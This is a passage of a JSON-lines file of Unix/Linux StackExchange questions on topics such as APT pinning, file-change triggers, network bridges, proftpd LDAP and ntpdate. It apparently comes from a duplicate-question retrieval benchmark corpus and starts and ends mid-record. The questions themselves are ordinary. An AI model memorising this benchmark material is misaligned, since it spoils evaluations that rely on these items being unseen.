my systems: Xubuntu 12.10 (gedit 3.6) as well as Fedora 17 (gedit 3.4.2)."} {"_id": "7773", "title": "How to set default APT source", "text": "Running `cat /etc/apt/apt.conf` gives: APT::Default-Release \"stable\"; I thought doing that would disallow the command `apt-get install wajig` to work, if a newer version was available anywhere but **Stable**. How do I set up APT so that such a version would require me to specify the repository name in order to install it (e.g. `apt-get --target-release testing wajig`)? [ **update** ] I wasn't aware that my question wasn't so clear. I want this to be an archive-wide setting (i.e. it should apply to each package in the Stable archive), not to some specific package."} {"_id": "117074", "title": "How to notice log file changes with Linux standard tools?", "text": "I need something that does not need to be installed. It's on an embedded system with very little space on the HD. I can't instal anything. I need to do it with something that is already included. I have a script that I want to run based on a certain line that appears in a log file. Currenty I placed this script to run every 5 minutes in the crontab and check the file for changes. Is there a way that I can have the system call the script only if the file has changed? Like, to tell the system to fire the script in case a system call was made to open that file with write permission?"} {"_id": "10507", "title": "Execute command when file changes", "text": "> **Possible Duplicate:** > Can a bash script be hooked to a file? Hi there, I am trying to execute a command every time a file changes. Is this possible? I think there is some way to watch for a file, but I have no idea. Thank you!"} {"_id": "5515", "title": "Can a bash script be hooked to a file?", "text": "I want a script to sleep unless a certain file is modifed/deleted (or a file created in a certain directory, or ...). Can this be achieved in some elegant way? The simplest thing that comes to my mind is a loop that sleeps for some time before checking the status again, but maybe there is a more elegant way?"} {"_id": "10729", "title": "How can I make scripts run when a file/directory changes in Linux (like Mac OS X\u2019s launchd)?", "text": "> **Possible Duplicate:** > Can a bash script be hooked to a file? On Mac OS X, there\u2019s a handy daemon called launchd which (amongst other things) allows you to have scripts run when files or directories change (via the `WatchPaths` and `QueueDirectories` plist file options). Is there a (preferably Debian) Linux program/package that includes this functionality?"} {"_id": "57907", "title": "Trigger action each time a file is modified", "text": "> **Possible Duplicate:** > Can a bash script be hooked to a file? Is it possible to mount a mechanism to a file to perform an action (e.g. mark the change in some log file and such) each time the file is modified? I would like to be able to see what all the files modified are in a given time period or receive an alert each time someone modifies a file."} {"_id": "7770", "title": "Where is the setting that sets Experimental repo to lower priority?", "text": "Suppose that I have enabled Experimental in my \" **/etc/apt/sources.list** \". When I need to install anything from it, I have to explicitly specify on the command: apt-get install wajig # vs apt-get --target-release experimental install wajig Where is such a setting stored? I expected that it would be some sort of pinning, but I can't find anything suggesting such in \" **/etc/apt/** \". Also, is it possible to avoid the behavior?"} {"_id": "150739", "title": "How can I get the pid of a process started this way", "text": "#!/bin/bash mkfifo /var/run/out while true do cat /var/run/out | nc -l 8080 > >( while read line do do some stuff done ) done How can I get the pid of `nc` and `cat`? Using $! doesn't work. I want to write them to a pid file."} {"_id": "119446", "title": "How to access my linux user account from different computer?", "text": "I have a linux user account in my school computer, but something I'm unable to finish the projects in class, and I was wondering if there was a way to access my linux account from school in my personal computer."} {"_id": "140839", "title": "Problem with getting bridge to work when set up with a script", "text": "I'm trying to set up a bridge, essentially turning my machine into a switch. I'm running a dhcp server on the same machine with `INTERFACES='br0'` as the interface setting. `/etc/network/interfaces` looks like this: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback auto eth0 iface eth0 inet manual auto eth1 iface eth1 inet manual auto wlan0 iface wlan0 inet manual auto br0 iface br0 inet static bridge_ports eth0 eth1 wlan0 address 10.1.36.10 netmask 255.255.255.0 network 10.1.36.0 broadcast 10.1.36.255 When I configured this manually, it all worked fine. I then wrote a bash script to set this up, as I need to configure a number of machines the same way: echo \"Setting up Static IP...\" if [ $(ifconfig -a | sed 's/[ \\t].*//;/^\\(lo\\|\\)$/d' | wc -l) -gt 1 ] then BRIDGE_PORTS=\"\" for i in $(ifconfig -a | sed 's/[ \\t].*//;/^\\(lo\\|\\)$/d'); do sudo echo \"auto $i\" | sudo tee -a /etc/network/interfaces sudo echo \"iface $i inet manual\" | sudo tee -a /etc/network/interfaces BRIDGE_PORTS=\"$BRIDGE_PORTS $i \" done sudo echo \"auto br0\" | sudo tee -a /etc/network/interfaces sudo echo \"iface br0 inet static\" | sudo tee -a /etc/network/interfaces sudo echo \"bridge_ports $BRIDGE_PORTS\" | sudo tee -a /etc/network/interfaces sudo echo \"address $STATIC_IP\" | sudo tee -a /etc/network/interfaces sudo echo \"netmask 255.255.255.0\" | sudo tee -a /etc/network/interfaces sudo echo \"network $NETWORK_IP\" | sudo tee -a /etc/network/interfaces sudo echo \"broadcast $BROADCAST_IP\" | sudo tee -a /etc/network/interfaces DHCP_INTERFACE=\"br0\" else sudo echo \"auto eth0\" | sudo tee -a /etc/network/interfaces sudo echo \"iface eth0 inet static\" | sudo tee -a /etc/network/interfaces sudo echo \"address $STATIC_IP\" | sudo tee -a /etc/network/interfaces sudo echo \"netmask 255.255.255.0\" | sudo tee -a /etc/network/interfaces sudo echo \"network $NETWORK_IP\" | sudo tee -a /etc/network/interfaces sudo echo \"broadcast $BROADCAST_IP\" | sudo tee -a /etc/network/interfaces DHCP_INTERFACE=\"eth0\" fi I don't know why, but the bridge doesn't include the eth0 or eth1 interfaces when I set it up with the script. When I run `ip addr` I get this: 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether 78:d0:04:20:b9:6c brd ff:ff:ff:ff:ff:ff 3: eth1: mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether 78:d0:04:20:b9:6d brd ff:ff:ff:ff:ff:ff 4: wlan0: mtu 1500 qdisc mq master br0 state UP group default qlen 1000 link/ether c4:d9:87:8e:72:f9 brd ff:ff:ff:ff:ff:ff inet6 fe80::c6d9:87ff:fe8e:72f9/64 scope link valid_lft forever preferred_lft forever 5: mon.wlan0: mtu 1500 qdisc mq state UNKNOWN group default qlen 1000 link/ieee802.11/radiotap c4:d9:87:8e:72:f9 brd ff:ff:ff:ff:ff:ff 6: br0: mtu 1500 qdisc noqueue state UP group default link/ether c4:d9:87:8e:72:f9 brd ff:ff:ff:ff:ff:ff inet 10.1.36.10/24 brd 10.1.36.255 scope global br0 valid_lft forever preferred_lft forever inet6 fe80::c6d9:87ff:fe8e:72f9/64 scope link valid_lft forever preferred_lft forever The eth0 and eth1 don't have br0 as their master! Why is that?"} {"_id": "117768", "title": "Adding pass completion to fish shell", "text": "I'm trying to get the CLI password manager _pass_ to work in my _fish_ shell with auto completion. I've already found the necessary file on GitHub, yet am having trouble finding out where to put it, or rather getting it to work. So far I've added it to: * ~/.config/fish/pass.fish * ~/.config/fish/completions/pass.fish * and added the content to my ~/.config/fish/config.fish file. with no success."} {"_id": "82283", "title": "Detect damaged audio CD", "text": "I need to check if a lot of audio CDs are damaged or not and would prefer not to have to listen to them all. Is there a good way to do this quickly?"} {"_id": "88882", "title": "open a file and copy the listed files to another folder", "text": "I have a file named `file1.txt`containing file names like below : filea.txt fileb.txt filec.txt I want to copy the files listed in `file1.txt` to another folder. What is the UNIX command to use? (the shell is `ksh88` if that's relevant)."} {"_id": "117761", "title": "Howto include / exclude Diretories in duplicity", "text": "I'm using duplicity to backup some of my files. The man page is kind of confusing, regarding the include/exclude Patterns. I'd like to backup the following things: /storage/include /otherthings but NOT /storage/include/exclude The Include-File currently looks: + /storage/include - /storage/include/exclude + /otherthings - ** Duplicity is called as followed: /usr/bin/duplicity --include-globbing-filelist /Path/to/file/above / target It simply doesn't work. Every time it backups, it also includes the files in /storage/include/exclude."} {"_id": "117765", "title": "Creating a shell script that parses and redirects number into next command?", "text": "I am trying to create a script that kills an Xorg process. Here is an example of me running the commands in a terminal: * First, I find the process id of the Xorg program (in this case, `2494`): . lucas@lucas-ThinkPad-W520:~$ ps ax | grep Xorg 2494 ? Ss 6:53 Xorg :8 -config /etc/bumblebee/xorg.conf.nvidia -configdir /etc/bumblebee/xorg.conf.d -sharevts -nolisten tcp -noreset -verbose 3 -isolateDevice PCI:01:00:0 -modulepath /usr/lib/nvidia-331/xorg,/usr/lib/xorg/modules 4247 pts/1 S+ 0:00 grep --color=auto Xorg * Then I want to kill Xorg's process: . lucas@lucas-ThinkPad-W520:~$ sudo kill -15 2494 How can I wrap this functionality into a script? Basically, get the `2494` and insert it as an argument into the `sudo kill -15` command."} {"_id": "125761", "title": "How can I print a specific occurence of a range pattern?", "text": "I am trying to extract several data fields out of somewhat peculiarly formatted strings. Each string has a format similar to the following (spaces added for emphasis): 1 abcd 2 1 efg 2 hij 3 klmnopqrs 5 tuv 6 5 wxyz\u00e4\u00fc\u00f6 6 where each number represents another field delimiter. This is what I am trying to extract: abcd hij klmnopqrs 5 tuv 6 wxyz The `1..2` and `5..6` patterns occur only once in some cases. `1..2` ranges only appear before `3`. `5..6` ranges only appear after `3`. So far I have been succesful in extracting `abcd` and `hij` with the following code: * `abcd`: echo \"$STRING\" | awk 'BEGIN{ RS=\"2\"}{gsub(/.*1/,\"\");print;exit}' * `hij`: echo \"$STRING\" | awk 'BEGIN{ RS=\"3\"}{gsub(/.*2/,\"\");print;exit}' Now I am looking for a way to grab `wxyz` and `klmnopqrs`. * `wxyz` are the **first four** characters in the **last** `5..6` range pattern of the string * `klmnopqrs` is the field delimited by the **first** occurence of `3` and the **last** occurence of `5` After searching the web for an hour I am now at wit's end. I'd appreciate any help in finding a way to extract these range patterns. **Edit** : Here's a few input samples that are closer to the real deal: (test)(te st) tesst. test test test test [teest] [teseeet] (teeeest)(te st) tst. tet test [teseet] (tst) tst. tet test [tseeet] This is what I would like to extract in each case: test tesst test test test test [teest] tese teeeest tst tet test tese tst tst tet test tsee The field delimiters are special characters, as you an see. Both the width of the strings and the number of `1..2` and `5..6` ranges (here `(..)` and `[..]`) are variable."} {"_id": "131470", "title": "Change size of pantheon terminal", "text": "I haven't found any settings with regard to terminal size and I hate to keep resizing every time I want to use it. How can I change the size of the terminal?"} {"_id": "79049", "title": "Configuring proftpd and mod_ldap.c query not working - any ideas?", "text": "I'm trying to get a ProFTPD to ldap auth on a Active Directory base. I still couldn't figure out what could be wrong with my configuration since, executing a ldap query with ldapsearch seems fine /etc/proftpd.conf # This is the ProFTPD configuration file ServerName \"FTP and Ldap\" ServerType standalone ServerAdmin nicolas@domain.com.br AuthOrder mod_ldap.c LoadModule mod_ldap.c DefaultServer on ShowSymlinks on RootLogin off UseIPv6 off AllowLogSymlinks on IdentLookups off UseReverseDNS off Umask 077 User ftp Group ftp DefaultRoot /home/ftp/%u/ DefaultChDir ftp RequireValidShell off UseFtpUsers off SystemLog /var/log/proftpd/proftpd.log TransferLog /var/log/proftpd/xferlog DefaultTransferMode binary LDAPServer domaincontroller.domain.net LDAPAttr uid sAMAccountName LDAPDNInfo cn=linux.ldap,ou=users,ou=resources,dc=domain,dc=net password LDAPAuthBinds on LDAPDoAuth on \"dc=domain,dc=net\" (&(sAMAccountName=%v)(objectclass=User)) LDAPQueryTimeout 15 LDAPGenerateHomedir on LDAPGenerateHomedirPrefix /home/ftp #uid e guid of the local global user LDAPDefaultUID 14 LDAPDefaultGID 50 LDAPForceDefaultUID on LDAPForceDefaultGID on AllowOverwrite on Running proftpd with a debug level of 10 i got these logs while authenticating with my user(nicolas) proftpd -nd10 dispatching CMD command 'PASS (hidden)' to mod_auth mod_ldap/2.8.22: generated filter dc=domain,dc=net from template dc=domain,dc=net and value nicolas mod_ldap/2.8.22: generated filter (&(sAMAccountName=nicolas)(objectclass=User)) from template (&(sAMAccountName=%v)(objectclass=User)) and value nicolas mod_ldap/2.8.22: attempting connection to ldap://domaincontroller.domain.net/ mod_ldap/2.8.22: set protocol version to 3 mod_ldap/2.8.22: connected to ldap://domaincontroller.domain.net/ mod_ldap/2.8.22: successfully bound as cn=linux.ldap,ou=users,ou=resources,dc=domain,dc=net password mod_ldap/2.8.22: set dereferencing to 0 mod_ldap/2.8.22: set query timeout to 15s mod_ldap/2.8.22: pr_ldap_search(): LDAP search failed: Operations error Ldapsearch on the other hand works just fine: [root@ftp2 ~]# ldapsearch -x -W -D \"cn=linux.ldap,ou=users,ou=resources,dc=domain,dc=net\" -h domaincontroller.domain.net -b \"dc=domain,dc=net\" -LLL \"(SAMAccountName=nicolas)\" Enter LDAP Password: dn: CN=Nicolas XXXXXXX,OU=XXXXXXX,OU=XXXXXXX,OU=XXXXXXX,DC=XXXXXXX,DC=XXXXXXX objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user cn: Nicolas XXXXXXX sn: XXXXXXX description:XXXXXXX givenName: XXXXXXX distinguishedName: Any clues?"} {"_id": "131472", "title": "Why does USB errors with my mobile phone stop the computer from interacting with services?", "text": "I set my Android phone to use \"Mass storage\" as the connection mode (In _Settings_ -> _Storage_ -> context menu item _USB computer connection_ ) to easily be able to browse the files. Then I plugged in the USB cable to my computer while on the login screen. I was able to log in, but after a while I got the following message: ![Connection failure - Connection activation failed - \\(1\\) Creating object for path '/org/freedesktop/NetworkManager/ActiveConnection/4' failed in libnm- glib](http://i.stack.imgur.com/tvhXO.png) I tried `sudo systemctl stop NetworkManager`, but that hung. So I shut down the only GUI application which was running (Firefox), and tried to reboot the computer. That seemed to kill Awesome, because the screen went black, but it didn't reboot. I then tried `sudo reboot` on VT1, `sudo shutdown now` on VT2, and in the end just had to do a hard reboot. After restarting the boot messages spewed out the following message repeatedly until I unplugged the phone: hub 4-3:1.0: hub_port_status failed (err = -71) Now, the question is not why the Android device misbehaved, but rather **why this was allowed to completely disrupt other system functionality.**"} {"_id": "12485", "title": "CentOS 5.6 x86 64 Not seeing all my memory", "text": "So I installed CentOS 5.6 on a box at my house and it is not recognizing all my memory. I have 2gb in the machine but when you run a 'free -m' or a 'top' or a 'cat /proc/meminfo' it only shows that there are 896796kB on the machine. Any ideas?"} {"_id": "131474", "title": "AIX OS fileset with status Broken", "text": "Does someone encounter this error in AIX version 7.1 TL3? root@TEST:/ # lppchk -v the result is: lppchk: A parsing error occured for bos.sysmgt.quota 7.1.3.0 on line 1, column 23. Instead of (, one of the following was expected: a '>' (to start a group) or *prereq, *instreq, *coreq, *ifreq or a fileset name. Use local problem reporting procedures. And something looks like this: root@TEST:/ # oslevel -rl 7100-03 Fileset Actual Level Recommended ML ------------------------------------------------------------------------------- bos.pmapi.tools 7.1.12.15 7.1.3.0 And this... root@TEST:/ # lslpp -l | grep pmapi bos.pmapi.events 7.1.0.3 APPLIED .0.0) 3.1.5.1 bos.pmapi.lib 7.1.0.3 COMMITED Performance Monitor API bos.pmapi.pmsvcs 7.1.0.3 COMMITED Performance Monitor API Kernel bos.pmapi.samples 7.1.0.3 COMMITED Performance Monitor API bos.pmapi.tools 7.1.0.3 BROKEN Performance Monitor API Tools bos.pmapi.pmsvcs 7.1.0.3 COMMITED Performance Monitor API Kernel bos.pmapi.tools 7.1.0.3 BROKEN Performance Monitor API Tools"} {"_id": "121247", "title": "Delete subfolder and keeping up parent folder", "text": "I need to delete folderx which are not accessed for seven days, easily I can do it with next: find /path/folder -type d -mtime +7 |xargs rm -rf The probelm is when I have subfolder marked for deletion and parent folder is not, I can do it with with adding `maxdepth 1`, but actually it is not solution from top to bottom, I need solution to define from bottom to top where I have folder 1 (accesed 8 days ago) -> folder 2 (accessed 8 days ago) -> folder 3 (accessed 4 days ago), With maxdepth 1 it will delete first two and also folder 3 which I don't want do do it. So actually I need some solution from bottom to top for this. If subfolder is marked for deletion and parent is not etc."} {"_id": "150174", "title": "Difference between 'sar' and 'iostat' commands", "text": "With `sar` and `iowait`, we can get CPU time utilization. But, when I executed both commands, I could see significant differences in their outputs. > iostat && sar 1 1 Linux 2.6.32-042stab090.4 (LinuxBox) 08/14/2014 _x86_64_ (16 CPU) avg-cpu: %user %nice %system %iowait %steal %idle 0.46 0.00 0.52 0.07 0.00 98.95 Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn sda 10.53 760.66 44.67 3464410204 203460004 sdb 2.49 368.15 779.18 1676748162 3548769968 sdc 4.09 192.81 10.71 878170395 48792907 Linux 2.6.32-042stab090.4 (LinuxBox) 08/14/2014 _x86_64_ (16 CPU) 10:35:21 AM CPU %user %nice %system %iowait %steal %idle 10:35:22 AM all 0.00 0.00 0.06 0.00 0.00 99.94 Average: all 0.00 0.00 0.06 0.00 0.00 99.94 It is very difficult for me to decide which output is more reliable. Which command should be considered as more accurate one?"} {"_id": "19261", "title": "How to test if a function is defined in awk?", "text": "I am writing an `awk` program and I want it to run it both with `mawk` and `gawk`. I need a sorting function. I have written my own, but I want to use the builtin `asort()` function in `gawk` if available. How do I know from inside my program if the `asort()` function is available ? More generally, how can I test if a function (e.g. `gensub()`) is available ?"} {"_id": "19260", "title": "Left Ctrl key swapped with Fn key?", "text": "I used **`xev`** to try to capture the keycode, but I don't get any output from it. I get output for the rest of the keys I checked. This happened after my system froze (likely the fault of VirtualBox) so I wonder if it has anything to do with it. **UPDATE** : I just found out that it's functionality is actually swapped with that of `Fn` key (the special key that allow me, for example, to press it in combination with another to change screen brightness, speaker loudness, ...). How do I swap it back? Note that before discovering that this was merely a key swap, I actually did a reinstall in desperation, and even poked around the (badly-designed) BIOS interface (this is a **HP Probook 4350s** ) to see if I screwed up with anything."} {"_id": "19267", "title": "mv a file without breaking a symlink to that file", "text": "Is it possible to `mv` a file w/out breaking a symbolic link to that file? My initial response to this is no, and I'm working out a script based solution to change the links immediately following the move, but I was wondering how others have approached this issue. The paths and names of the symlinks are known in advance, so In theory all I need to do is: 1. get the target of the link 2. mv the target 3. recreate the link to the new target 4. create a new link to the new target (different than the original link, which I still want to keep for now) At a later date: 1. delete the old link 1-4 will be encapsulated in a bash script, but I'm wondering if anyone has a more elegant approach, or knows of a built-in or command that I'm not aware of."} {"_id": "19266", "title": "How to iterate over two sets of iterables in a shell script?", "text": "Usually when I write a shell script for a specific task, I just make a list of files like so: #/bin/sh read -d '' imagefiles <> myfile_new.txt But, I get this error after a while - awk: read error (Bad address) I guess this is because the file is too large. Is there any way to get past this? How else can I do this? What I need to do is quite simple, I have to extract all records that have value less than 2000 in a column."} {"_id": "96663", "title": "Cannot open slime-helper.el", "text": "I'm trying to install slime on a debian wheezy distro 64 bit called Crunchbang, trying to install common lisp, followed this tutorial, although the title says it's for windows, I installed it on linux and slime seems to work perfectly (or so i think). However, I see this error `Cannot open slime-helper.el` so i ran `emacs --debug-init` and got this error ![enter image description here](http://i.stack.imgur.com/HMLe2.png) ` Should I care about it? And if so, how to fix it? note that i have sbcl, not clisp, and that my `.emacs` fle looks like this (load (expand-file-name \"~/quicklisp/slime-helper.el\")) (setq inferior-lisp-program \"sbcl\") (require 'slime) (slime-setup '(slime-fancy))"} {"_id": "96666", "title": "pidgin-blinklight not working with thinkpad_acpi (T430)", "text": "I'm using Ubuntu 13.04 on my ThinkPad T430 and want to use the `pidgin- blinklight` plugin. The plugin says it needs ibm-acpi, but that's depricated as far as I can tell, and `thinkpad_acpi` is loaded by default on my machine: $ sudo lsmod| grep acpi thinkpad_acpi 81222 0 Is there a way to get it working with thinkpad_acpi instead of the ibm one?"} {"_id": "61957", "title": "Does iptables -F permanently delete all iptables rules?", "text": "In a RHEL training document, the author says: > ...run the following command to disable the firewall on the current system: > **iptables -F** He explicitly uses the word \"disable\" which to me suggests that it will be simple to re-enable. In reading the man page though for iptables, I see this: > Flush the selected chain (all the chains in the table if none is given). > This is equivalent to **deleting** all the rules one by one. Can I get clarification on the expected behavior?"} {"_id": "97391", "title": "DNSCrypt, Unbound and DNSSEC", "text": "I would like to have an encrypted DNS queries + a DNS Cache + Domain Name System Security Extensions (DNSSEC) . I used this bash script to install DNSCrypt and I choosed to use dnscrypt.eu servers : DNSCrypt.eu (no logs) Holland Server address: 176.56.237.171:443 Provider name 2.dnscrypt-cert.dnscrypt.eu Public key 67C0:0F2C:21C5:5481:45DD:7CB4:6A27:1AF2:EB96:9931:40A3:09B6:2B8D:1653:1185:9C66 I installed ( `apt-get install unbound` ) Unbound and my unbound.conf file contains : # # See the unbound.conf(5) man page. # # See /usr/share/doc/unbound/examples/unbound.conf for a commented # reference config file. server: # The following line will configure unbound to perform cryptographic # DNSSEC validation using the root trust anchor. auto-trust-anchor-file: \"/var/lib/unbound/root.key\" server: verbosity: 1 num-threads: 4 interface: 0.0.0.0 do-ip4: yes do-udp: yes do-tcp: yes access-control: 192.168.0.0/24 allow do-not-query-localhost: no chroot: \"\" logfile: \"/var/log/unbound.log\" use-syslog: no hide-identity: yes hide-version: yes harden-glue: yes harden-dnssec-stripped: yes use-caps-for-id: yes private-domain: \"localhost\" local-zone: \"localhost.\" static local-data: \"freebox.localhost. IN A 192.168.0.254\" local-data-ptr: \"192.168.0.254 freebox.localhost\" python: remote-control: forward-zone: name: \".\" forward-addr: 127.0.0.1@40 Like you see, I added this line to activate DNSSEC : server: # The following line will configure unbound to perform cryptographic # DNSSEC validation using the root trust anchor. auto-trust-anchor-file: \"/var/lib/unbound/root.key\" Now, when I enter : `sudo service unbound start` This is the error that I get : * Restarting recursive DNS server unbound [1382606879] unbound[8878:0] error: bind: address already in use [1382606879] unbound[8878:0] fatal error: could not open ports My question is of course about the error ! Also, is it useful to use DNSSEC in an ordinary laptop (not a DNS server) or it is just useful for DNS Servers ?"} {"_id": "97390", "title": "When do `sort -k 2,3b` and `sort -k 2,3` differ?", "text": "The POSIX description of the `-b` flag for the `sort` command is > Ignore leading characters when determining the starting and ending positions > of a restricted sort key. I can understand the use for the starting position of the key, but what about the ending positions? Can anybody give an example? For instance, with the locale set to POSIX, the file with content x z x a would be sorted differently under `sort -k 2` and `sort -k 2b`, but I haven't been able to come up with a case where, say, `sort -k 2,3b` and `sort -k 2,3` would make a difference."} {"_id": "97393", "title": "Mysql user privileges : Only CREATE table", "text": "I am trying to create a user who will be able to manage all databases without the right to CREATE and DROP databases. I have been using the following link : http://dev.mysql.com/doc/refman/5.0/en/privileges-provided.html#priv_create GRANT SELECT, INSERT, UPDATE, DELETE, ALTER ON *.* TO 'mysql'@'192.168.1.0/255.255.255.0' IDENTIFIED BY PASSWORD 'toto' I would like to add CREATE in order to allow the user to create a table, but If I do this the user will be able to create a database too. Is it possible to provide CREATE \"table\" without CREATE \"database\" privilege ?"} {"_id": "97392", "title": "failure in connecting to my server through ssh", "text": "My goal: I want to be able to ssh to my workstation from external client. My workstation(in the following also referred as server) is on a lan. Its ip address on this lan is obviously different from its ip on the internet. I have set up the ssh server with public keys. This is what happens when I try to ssh from a client: 1. If the client is on the same lan: I try to ping my server using the ip returned by ifconfig. The client cannot ping my server. 2. If the client is from outside, not on the lan: The client can ping the server, but when I try to connect I get `Connection timed out` * * * output of `iptables -L -v` Chain INPUT (policy ACCEPT 346K packets, 233M bytes) pkts bytes target prot opt in out source destination 346K 233M sshguard all -- any any anywhere anywhere 346K 233M sshguard all -- any any anywhere anywhere Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 193K packets, 26M bytes) pkts bytes target prot opt in out source destination Chain sshguard (2 references) pkts bytes target prot opt in out source destination"} {"_id": "97395", "title": "How to exclude hidden files in recursive chmod?", "text": "I am having to do `chmod -R 755 some_dir` where 'some_dir' contains '.git' folders. Is there any way I can exclude hidden files and folder when doing recursive chmod? Note: chmoding .git folder is throwing the following error some_dir/.git/objects/pack/pack-dd149b11c4e5d205e3022836d49a972684de8daa.idx': Operation not permitted I don't really need to chmod .git folders but unfortunately I can't remove them also in my case."} {"_id": "149922", "title": "What are some suggestions for using hdiutil (or other tools) to assist in recovery of files from dmg image?", "text": "**Background** I am attempting to recover information from a USB using GNU ddrescue 1.18.1. I have completed the rescue operation output from the /dev/disk2s2 partition to a disk image file on a networked resource (.dmg). I have attempted to execute the following command: hdiutil attach /Volumes/etc/photos.dmg -nomount **Which presents this error information:** > 2014-08-12 11:39:15.679 hdiutil[13866:1528817] Error loading /Library/Plug- > ins/DiskImages/VirtualPCDiskImagePlugin.bundle/Contents/MacOS/VirtualPCDiskImagePlugin: > dlopen(/Library/Plug- > ins/DiskImages/VirtualPCDiskImagePlugin.bundle/Contents/MacOS/VirtualPCDiskImagePlugin, > 262): no suitable image found. Did find: /Library/Plug- > ins/DiskImages/VirtualPCDiskImagePlugin.bundle/Contents/MacOS/VirtualPCDiskImagePlugin: > mach-o, but wrong architecture 2014-08-12 11:39:15.680 > hdiutil[13866:1528817] Cannot find function pointer > MacDiskImagePluginFactory for factory 7F1FD83E-6684-11D8-968F-000A957703C0 > in CFBundle/CFPlugIn 0x7fd383c12db0 (bundle, not loaded) **NB: I was creating a Windows virtual-box image (writing) on the original USB drive when it fell and lost the physical connection. (after this event is when the USB stopped mounting)** * Also, the Library Plugin mentioned in the error message may need to be reinstalled as I've updated the host OS of my machine. **Questions** * Are there other steps that I can try to read the files from the .dmg file? (just enough to recover photos to another disk) * Are there any free software options that might help me take the recovery process further? * I no longer use Virtual PC (switched to VirtualBox) but should I reinstall it at this point? Setup: MacOSX 10.10 ddrescue 1.18.1 VirtualBox 4.3.14"} {"_id": "10438", "title": "Can I create a user-specific hosts file to complement /etc/hosts?", "text": "Is it possible to add a list of hosts that are only specific to a certain user? Perhaps a user-specific hosts file? This mechanism should also complement the entries in the `/etc/hosts` file."} {"_id": "118531", "title": "User made host aliases", "text": "I would like to set up aliases for hosts `/etc/hosts` style, but I don't have root privileges. Would I be able to set these up from within my /home directory? How?"} {"_id": "57459", "title": "How can I override the /etc/hosts file at user level?", "text": "> **Possible Duplicate:** > Can I create a user-specific hosts file to complement /etc/hosts? In short: I would like to know if it is possible to get a `~/hosts` file that could override the `/etc/hosts` file, since I don't have any privileged access. A machine I am working on does seem to be properly configured with a correct DNS server. When I try to ping usual machine **name** I am working with, it fails. But when I try to ping them by **IP address** it works as expected. I want to avoid changing any scripts and other _musuculary memorized handcrafted commmand line_ \u2122 that I made because of a single unproperly configured machine. I contacted sys admin, but they have other fish to fry. How can I implement that?"} {"_id": "154434", "title": "ntpdate -d seems successful, but ntpdate returns no server suitable", "text": "I've got a system that is not running ntpd on which I'm attempting to update the clock using ntpdate. The system is an appliance that appears to be CentOS 6 based. When I run `ntpdate 0.pool.ntp.org`, I get: 8 Sep 17:52:05 ntpdate[7445]: no server suitable for synchronization found However, when I do `ntpdate -d 0.pool.ntp.org`, I get: 8 Sep 17:55:14 ntpdate[9499]: ntpdate 4.2.2p1@1.1570-o Fri Nov 18 13:21:21 UTC 2011 (1) Looking for host 0.pool.ntp.org and service ntp host found : 4.53.160.75 transmit(4.53.160.75) receive(4.53.160.75) transmit(4.53.160.75) receive(4.53.160.75) transmit(4.53.160.75) receive(4.53.160.75) transmit(4.53.160.75) receive(4.53.160.75) transmit(4.53.160.75) transmit(64.16.214.60) receive(64.16.214.60) transmit(64.16.214.60) receive(64.16.214.60) transmit(64.16.214.60) receive(64.16.214.60) transmit(64.16.214.60) receive(64.16.214.60) transmit(64.16.214.60) transmit(54.236.224.171) receive(54.236.224.171) transmit(54.236.224.171) receive(54.236.224.171) transmit(54.236.224.171) receive(54.236.224.171) transmit(54.236.224.171) receive(54.236.224.171) transmit(54.236.224.171) transmit(50.22.155.163) receive(50.22.155.163) transmit(50.22.155.163) receive(50.22.155.163) transmit(50.22.155.163) receive(50.22.155.163) transmit(50.22.155.163) receive(50.22.155.163) transmit(50.22.155.163) server 4.53.160.75, port 123 stratum 2, precision -23, leap 00, trust 000 refid [4.53.160.75], delay 0.03160, dispersion 0.00005 transmitted 4, in filter 4 reference time: d7b867d0.f9841075 Mon, Sep 8 2014 17:37:20.974 originate timestamp: d7b86c03.b6a49dae Mon, Sep 8 2014 17:55:15.713 transmit timestamp: d7b86c02.7e12a51e Mon, Sep 8 2014 17:55:14.492 filter delay: 0.03189 0.03188 0.03172 0.03160 0.00000 0.00000 0.00000 0.00000 filter offset: 1.218061 1.217856 1.218023 1.217968 0.000000 0.000000 0.000000 0.000000 delay 0.03160, dispersion 0.00005 offset 1.217968 server 64.16.214.60, port 123 stratum 2, precision -23, leap 00, trust 000 refid [64.16.214.60], delay 0.04886, dispersion 0.00006 transmitted 4, in filter 4 reference time: d7b86425.55948a73 Mon, Sep 8 2014 17:21:41.334 originate timestamp: d7b86c03.f7d91219 Mon, Sep 8 2014 17:55:15.968 transmit timestamp: d7b86c02.bed42c3c Mon, Sep 8 2014 17:55:14.745 filter delay: 0.04919 0.04892 0.04912 0.04886 0.00000 0.00000 0.00000 0.00000 filter offset: 1.210967 1.210879 1.210967 1.210836 0.000000 0.000000 0.000000 0.000000 delay 0.04886, dispersion 0.00006 offset 1.210836 server 54.236.224.171, port 123 stratum 3, precision -20, leap 00, trust 000 refid [54.236.224.171], delay 0.04878, dispersion 0.00011 transmitted 4, in filter 4 reference time: d7b864eb.b06fee7d Mon, Sep 8 2014 17:24:59.689 originate timestamp: d7b86c04.2b9d2547 Mon, Sep 8 2014 17:55:16.170 transmit timestamp: d7b86c02.f1e80bed Mon, Sep 8 2014 17:55:14.944 filter delay: 0.04977 0.04950 0.04878 0.04887 0.00000 0.00000 0.00000 0.00000 filter offset: 1.214091 1.214069 1.213755 1.213750 0.000000 0.000000 0.000000 0.000000 delay 0.04878, dispersion 0.00011 offset 1.213755 server 50.22.155.163, port 123 stratum 2, precision -23, leap 00, trust 000 refid [50.22.155.163], delay 0.07384, dispersion 0.00005 transmitted 4, in filter 4 reference time: d7b869c9.2b3f3d0b Mon, Sep 8 2014 17:45:45.168 originate timestamp: d7b86c04.75472e97 Mon, Sep 8 2014 17:55:16.458 transmit timestamp: d7b86c03.384a83b1 Mon, Sep 8 2014 17:55:15.219 filter delay: 0.07408 0.07414 0.07384 0.07387 0.00000 0.00000 0.00000 0.00000 filter offset: 1.214115 1.214122 1.214012 